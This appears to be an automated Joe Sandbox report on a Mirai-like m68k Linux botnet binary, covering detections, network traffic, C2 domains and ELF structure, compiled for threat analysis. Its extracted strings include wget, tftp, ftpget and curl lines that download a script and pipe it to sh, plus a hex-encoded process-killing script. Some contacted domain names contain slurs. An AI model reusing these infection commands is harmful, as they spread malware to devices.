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Linux Analysis Report
splm68k.elf

Overview

General Information

Sample name:	splm68k.elf
Analysis ID:	1543140
MD5:	efa14998ed60ac4ba8b7d1d807995321
SHA1:	d4487b8d700a6b26b98041ccac8e1913a9b6d979
SHA256:	2c712dedd50a5b8f024de84839b10671dcb76a9d137d3be511ec22eb51206116
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543140
Start date and time:	2024-10-27 09:43:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splm68k.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/86@4/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: splm68k.elf

Runtime Messages

Command:	/tmp/splm68k.elf
PID:	5495
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splm68k.elf (PID: 5495, Parent: 5415, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/splm68k.elf

splm68k.elf New Fork (PID: 5497, Parent: 5495)

splm68k.elf New Fork (PID: 5499, Parent: 5497)

splm68k.elf New Fork (PID: 5503, Parent: 5497)

splm68k.elf New Fork (PID: 5505, Parent: 5497)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splm68k.elf

ReversingLabs: Detection: 47%

Source: splm68k.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 29.194.8.103
Source: unknown	TCP traffic detected without corresponding DNS query: 29.194.8.103
Source: unknown	TCP traffic detected without corresponding DNS query: 173.220.168.25
Source: unknown	TCP traffic detected without corresponding DNS query: 173.220.168.25
Source: unknown	TCP traffic detected without corresponding DNS query: 135.52.42.50
Source: unknown	TCP traffic detected without corresponding DNS query: 135.52.42.50
Source: unknown	TCP traffic detected without corresponding DNS query: 105.51.193.93
Source: unknown	TCP traffic detected without corresponding DNS query: 105.51.193.93
Source: unknown	TCP traffic detected without corresponding DNS query: 31.125.221.244
Source: unknown	TCP traffic detected without corresponding DNS query: 31.125.221.244
Source: unknown	TCP traffic detected without corresponding DNS query: 172.107.22.174
Source: unknown	TCP traffic detected without corresponding DNS query: 172.107.22.174
Source: unknown	TCP traffic detected without corresponding DNS query: 180.125.186.83
Source: unknown	TCP traffic detected without corresponding DNS query: 180.125.186.83
Source: unknown	TCP traffic detected without corresponding DNS query: 172.107.22.174
Source: unknown	TCP traffic detected without corresponding DNS query: 205.186.123.53
Source: unknown	TCP traffic detected without corresponding DNS query: 205.186.123.53
Source: unknown	TCP traffic detected without corresponding DNS query: 36.229.113.144
Source: unknown	TCP traffic detected without corresponding DNS query: 36.229.113.144
Source: unknown	TCP traffic detected without corresponding DNS query: 205.186.123.53
Source: unknown	TCP traffic detected without corresponding DNS query: 36.85.105.120
Source: unknown	TCP traffic detected without corresponding DNS query: 36.85.105.120
Source: unknown	TCP traffic detected without corresponding DNS query: 137.247.91.25
Source: unknown	TCP traffic detected without corresponding DNS query: 36.229.113.144
Source: unknown	TCP traffic detected without corresponding DNS query: 137.247.91.25
Source: unknown	TCP traffic detected without corresponding DNS query: 87.103.123.14
Source: unknown	TCP traffic detected without corresponding DNS query: 137.247.91.25
Source: unknown	TCP traffic detected without corresponding DNS query: 87.103.123.14
Source: unknown	TCP traffic detected without corresponding DNS query: 87.46.144.253
Source: unknown	TCP traffic detected without corresponding DNS query: 143.29.205.105
Source: unknown	TCP traffic detected without corresponding DNS query: 132.242.7.248
Source: unknown	TCP traffic detected without corresponding DNS query: 88.101.133.221
Source: unknown	TCP traffic detected without corresponding DNS query: 4.235.129.4
Source: unknown	TCP traffic detected without corresponding DNS query: 133.196.153.68
Source: unknown	TCP traffic detected without corresponding DNS query: 165.185.97.233
Source: unknown	TCP traffic detected without corresponding DNS query: 160.249.188.157
Source: unknown	TCP traffic detected without corresponding DNS query: 115.225.77.56
Source: unknown	TCP traffic detected without corresponding DNS query: 132.75.74.149
Source: unknown	TCP traffic detected without corresponding DNS query: 200.236.209.65
Source: unknown	TCP traffic detected without corresponding DNS query: 182.27.198.68
Source: unknown	TCP traffic detected without corresponding DNS query: 123.239.236.98
Source: unknown	TCP traffic detected without corresponding DNS query: 114.13.179.138
Source: unknown	TCP traffic detected without corresponding DNS query: 27.153.201.202
Source: unknown	TCP traffic detected without corresponding DNS query: 121.52.32.43
Source: unknown	TCP traffic detected without corresponding DNS query: 147.238.64.149
Source: unknown	TCP traffic detected without corresponding DNS query: 28.18.196.85
Source: unknown	TCP traffic detected without corresponding DNS query: 195.228.190.182
Source: unknown	TCP traffic detected without corresponding DNS query: 140.250.147.208
Source: unknown	TCP traffic detected without corresponding DNS query: 132.145.216.92
Source: unknown	TCP traffic detected without corresponding DNS query: 192.23.28.169

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: splm68k.elf	String found in binary or memory: http:///curl.sh
Source: splm68k.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5585/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5520/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5520/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5521/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5521/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5519/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5519/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5522/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5522/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5523/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5523/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5524/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5524/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5525/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5525/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5516/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5516/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5527/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5517/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5517/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5528/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5518/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5518/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 5503)	File opened: /proc/5529/cmdline	Jump to behavior

Source: splm68k.elf, 5495.1.00007ffdff8e5000.00007ffdff906000.rw-.sdmp, splm68k.elf, 5499.1.00007ffdff8e5000.00007ffdff906000.rw-.sdmp	Binary or memory string: Ux86_64/usr/bin/qemu-m68k/tmp/splm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splm68k.elf
Source: splm68k.elf, 5495.1.00007ffdff8e5000.00007ffdff906000.rw-.sdmp, splm68k.elf, 5499.1.00007ffdff8e5000.00007ffdff906000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: splm68k.elf, 5495.1.0000563d961d7000.0000563d9625b000.rw-.sdmp, splm68k.elf, 5499.1.0000563d961d7000.0000563d9625b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: splm68k.elf, 5495.1.0000563d961d7000.0000563d9625b000.rw-.sdmp, splm68k.elf, 5499.1.0000563d961d7000.0000563d9625b000.rw-.sdmp	Binary or memory string: =V!/etc/qemu-binfmt/m68k

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
chinklabs.dyn. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splm68k.elf	false		unknown
http:///curl.sh	splm68k.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
96.37.41.68	unknown	United States	20115	CHARTER-20115US	false
146.149.71.109	unknown	United States	15169	GOOGLEUS	false
102.187.225.135	unknown	Egypt	24835	RAYA-ASEG	false
126.240.108.55	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
25.148.91.174	unknown	United Kingdom	7922	COMCAST-7922US	false
76.233.2.1	unknown	United States	7018	ATT-INTERNET4US	false
146.237.153.242	unknown	United States	2018	TENET-1ZA	false
55.230.59.99	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
107.247.229.112	unknown	United States	7018	ATT-INTERNET4US	false
116.219.171.169	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
143.88.115.61	unknown	United States	18553	UWF-ASNUS	false
75.109.54.231	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
106.212.139.205	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
101.216.89.244	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
120.201.179.104	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
86.178.63.75	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
39.35.152.162	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
215.81.244.123	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
99.184.179.85	unknown	United States	7018	ATT-INTERNET4US	false
83.160.38.233	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
130.85.43.7	unknown	United States	11131	UMBC-ASUS	false
208.131.44.9	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
92.213.201.142	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
112.177.126.247	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
16.29.241.202	unknown	United States	unknown	unknown	false
3.250.33.77	unknown	United States	16509	AMAZON-02US	false
201.34.255.151	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
93.29.175.147	unknown	France	15557	LDCOMNETFR	false
60.113.134.174	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
25.215.68.201	unknown	United Kingdom	7922	COMCAST-7922US	false
111.183.65.48	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
152.16.48.158	unknown	United States	13371	DUKE-INTERCHANGEUS	false
146.234.58.164	unknown	Germany	43857	FRAPORTDE	false
170.95.165.16	unknown	unknown	21852	DISNW1US	false
48.216.49.53	unknown	United States	2686	ATGS-MMD-ASUS	false
108.180.151.33	unknown	Canada	852	ASN852CA	false
189.8.39.248	unknown	Brazil	26609	UniversalTelecomSABR	false
46.37.120.115	unknown	Spain	52037	Y-INTERNETGB	false
56.223.170.105	unknown	United States	2686	ATGS-MMD-ASUS	false
141.47.243.194	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
169.40.6.119	yY2RSgZNJR.elf	Get hash	malicious	Mirai	Browse
169.40.6.119	1SnhNNgKX6.elf	Get hash	malicious	Mirai	Browse
75.109.54.231	TzYWkBAZFE.elf	Get hash	malicious	Mirai	Browse
112.177.126.247	NSuqTLx9Zk	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yellowchink.pirate	nabarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splsh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GIGAINFRASoftbankBBCorpJP	nklppc.elf	Get hash	malicious	Unknown	Browse	219.192.118.134
	splarm7.elf	Get hash	malicious	Unknown	Browse	60.74.83.30
	splarm.elf	Get hash	malicious	Unknown	Browse	60.148.0.45
	nabarm.elf	Get hash	malicious	Unknown	Browse	126.183.242.140
	nabx86.elf	Get hash	malicious	Unknown	Browse	220.33.161.21
	nabarm5.elf	Get hash	malicious	Unknown	Browse	126.50.155.83
	nklarm.elf	Get hash	malicious	Unknown	Browse	126.244.47.201
	splsh4.elf	Get hash	malicious	Unknown	Browse	218.176.114.222
	mips.elf	Get hash	malicious	Unknown	Browse	126.72.145.215
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	220.6.187.80
RAYA-ASEG	arm7.elf	Get hash	malicious	Mirai	Browse	41.69.1.29
	sh4.elf	Get hash	malicious	Mirai	Browse	197.132.78.208
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	105.198.112.204
	harm6.elf	Get hash	malicious	Mirai	Browse	197.132.217.183
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	213.212.194.115
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	102.190.107.242
	setup.msi	Get hash	malicious	Unknown	Browse	23.218.232.186
	atH4SE3Oi6.elf	Get hash	malicious	Mirai	Browse	62.68.231.170
	o2YUBeMZW6.elf	Get hash	malicious	Mirai	Browse	62.68.231.163
	gppc.elf	Get hash	malicious	Mirai	Browse	41.68.176.234
CHARTER-20115US	nklppc.elf	Get hash	malicious	Unknown	Browse	96.42.223.234
	splarm7.elf	Get hash	malicious	Unknown	Browse	97.90.21.84
	splarm.elf	Get hash	malicious	Unknown	Browse	172.220.224.26
	nklarm.elf	Get hash	malicious	Unknown	Browse	71.9.59.227
	splsh4.elf	Get hash	malicious	Unknown	Browse	174.84.107.192
	splarm5.elf	Get hash	malicious	Unknown	Browse	172.222.23.49
	jklarm5.elf	Get hash	malicious	Unknown	Browse	47.236.119.36
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	71.83.132.194
	kkkmpsl.elf	Get hash	malicious	Unknown	Browse	71.14.100.214
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	71.95.5.27
COMCAST-7922US	nklppc.elf	Get hash	malicious	Unknown	Browse	30.203.202.219
	splarm7.elf	Get hash	malicious	Unknown	Browse	73.26.233.251
	splarm.elf	Get hash	malicious	Unknown	Browse	73.223.130.75
	nabarm.elf	Get hash	malicious	Unknown	Browse	73.113.101.113
	nabx86.elf	Get hash	malicious	Unknown	Browse	23.24.213.119
	splspc.elf	Get hash	malicious	Unknown	Browse	29.249.202.192
	nabarm5.elf	Get hash	malicious	Unknown	Browse	68.53.39.94
	nklarm7.elf	Get hash	malicious	Unknown	Browse	174.175.136.235
	nklarm5.elf	Get hash	malicious	Unknown	Browse	26.96.133.118
	nklarm.elf	Get hash	malicious	Unknown	Browse	26.191.193.57

Process:	/tmp/splm68k.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.134658745944305
Encrypted:	false
SSDEEP:	6:YHgDF1CT/VWDF1VqY/V05+hz/VfKoO/VNfiY/VH:YHYSI5al
MD5:	7A94676745087764C5DDC7E81069EB43
SHA1:	7143B41D7B16C99B0BDB69C993E4DC8EE0DDE061
SHA-256:	724E1C4BEC041A06210245DA2BDB9F1885C581490912AC95C1242D38E85B0B97
SHA-512:	CCD19E566A6E19A8D664C75FCA850A455E04F16F23D0A86C31C06ECE7E5AB90B28A0FDE09C52F956F4B851846E847A22F4A2976877C19D98AF0FBD99A78C2EE6
Malicious:	false
Reputation:	low
Preview:	80000000-80010000 r-xp 00000000 fd:00 531606 /tmp/..80011000-80012000 rw-p 0000f000 fd:00 531606 /tmp/..80012000-80014000 rw-p 00000000 00:00 0 .80014000-80015000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.305887983390393
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splm68k.elf
File size:	63'084 bytes
MD5:	efa14998ed60ac4ba8b7d1d807995321
SHA1:	d4487b8d700a6b26b98041ccac8e1913a9b6d979
SHA256:	2c712dedd50a5b8f024de84839b10671dcb76a9d137d3be511ec22eb51206116
SHA512:	dc72a6e7a60df1b4aeaa952bf93d6dd5768a853abafe9430434648d2566e9e7d48b17b4bd9b348a14a48456ab85f13ae865cc6a57da940640fc2f203a9194a82
SSDEEP:	1536:9IXEGRb2pWyfdAJEOgOYel6DhChyE8Fdc2gyP9:9IXEGfyfdAJrLYbh4yzF
TLSH:	94534C96A400DD3CFA4EF9BA85264E00F524F3D457A20F27A3EAFDA35D320949D19BC1
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. ....................\|.......... .dt.Q............................NV..a....da....`N^NuNV..J9...pf>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy....N.X........pN^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62644
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0xe38a	0x0	0x6	AX	4
.fini	PROGBITS	0x8000e432	0xe432	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8000e440	0xe440	0xeb0	0x0	0x2	A	2
.ctors	PROGBITS	0x800112f4	0xf2f4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x800112fc	0xf2fc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x80011304	0xf304	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x80011308	0xf308	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x80011470	0xf470	0x1194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf470	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0xf2f0	0xf2f0	6.3436	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0xf2f4	0x800112f4	0x800112f4	0x17c	0x1310	0.8723	0x6	RW	0x2000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 09:44:50.034555912 CET	192.168.2.14	185.181.61.24	0x733e	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:44:51.090713024 CET	192.168.2.14	202.61.197.122	0x349f	Standard query (0)	chinklabs.dyn. [malformed]	256	387	false
Oct 27, 2024 09:44:52.252162933 CET	192.168.2.14	51.158.108.203	0x1dcc	Standard query (0)	chinklabs.dyn. [malformed]	256	388	false
Oct 27, 2024 09:45:03.661868095 CET	192.168.2.14	168.235.111.72	0xda08	Standard query (0)	netfags.geek. [malformed]	256	399	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 09:44:50.068388939 CET	185.181.61.24	192.168.2.14	0x733e	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:44:52.268764019 CET	51.158.108.203	192.168.2.14	0x1dcc	Format error (1)	chinklabs.dyn. [malformed]	none	none	256	388	false

Start time (UTC):	08:44:48
Start date (UTC):	27/10/2024
Path:	/tmp/splm68k.elf
Arguments:	/tmp/splm68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	08:44:49
Start date (UTC):	27/10/2024
Path:	/tmp/splm68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splm68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.07HxYj (deleted)

/tmp/qemu-open.0CVSqk (deleted)

/tmp/qemu-open.0OLytl (deleted)

/tmp/qemu-open.0Pscck (deleted)

/tmp/qemu-open.0TKr3j (deleted)

/tmp/qemu-open.0eDqXh (deleted)

/tmp/qemu-open.0wJQIi (deleted)

/tmp/qemu-open.1C2tHl (deleted)

/tmp/qemu-open.3nyJgl (deleted)

/tmp/qemu-open.4Hrxnh (deleted)

/tmp/qemu-open.4y4x1h (deleted)

/tmp/qemu-open.5xEjbj (deleted)

/tmp/qemu-open.76hSak (deleted)

